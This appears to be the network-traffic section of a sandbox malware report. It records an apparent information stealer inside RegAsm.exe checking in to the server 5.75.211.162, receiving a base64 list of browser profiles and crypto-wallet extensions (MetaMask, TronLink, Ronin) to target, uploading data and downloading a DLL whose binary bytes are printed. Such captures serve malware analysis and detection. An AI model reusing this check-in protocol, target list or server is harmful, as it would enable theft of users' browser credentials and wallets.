55	192.168.2.4	59787	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:56 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:56 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 41 45 37 30 46 31 44 38 30 41 31 36 33 33 30 34 37 39 38 36 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="hwid"9EAE70F1D80A1633047986-a33c7340-61ca------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------JJJJDAAECGHDGDGCGHDB--
2024-09-26 17:06:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:57 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 63 38 61 61 35 32 38 39 39 66 63 62 32 62 30 66 36 61 33 62 63 64 65 64 66 39 64 32 32 39 34 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|4c8aa52899fcb2b0f6a3bcdedf9d2294\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	59788	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:57 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 38 61 61 35 32 38 39 39 66 63 62 32 62 30 66 36 61 33 62 63 64 65 64 66 39 64 32 32 39 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"4c8aa52899fcb2b0f6a3bcdedf9d2294------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------JEHIJJKEGHJJKECBKECFCont
2024-09-26 17:06:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:58 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	59789	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:59 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 38 61 61 35 32 38 39 39 66 63 62 32 62 30 66 36 61 33 62 63 64 65 64 66 39 64 32 32 39 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"4c8aa52899fcb2b0f6a3bcdedf9d2294------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------FCBAECGIEBKKFHIDAKECCont
2024-09-26 17:07:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:07:00 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	59790	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:07:00 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:07:00 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 38 61 61 35 32 38 39 39 66 63 62 32 62 30 66 36 61 33 62 63 64 65 64 66 39 64 32 32 39 34 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"4c8aa52899fcb2b0f6a3bcdedf9d2294------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------FBFCAKKKFBGDGCAKFCFHCont
2024-09-26 17:07:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:07:01 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	59791	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:07:02 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 5961 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:07:02 UTC	5961	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 63 38 61 61 35 32 38 39 39 66 63 62 32 62 30 66 36 61 33 62 63 64 65 64 66 39 64 32 32 39 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"4c8aa52899fcb2b0f6a3bcdedf9d2294------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------GHJEGCAEGIIIDHIEBKEBCont
2024-09-26 17:07:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:07:03 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	59792	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:07:03 UTC	193	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:07:03 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:07:03 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:07:03 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:07:03 UTC	16121	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-09-26 17:07:03 UTC	16384	IN	Data Raw: b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-09-26 17:07:04 UTC	16384	IN	Data Raw: 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
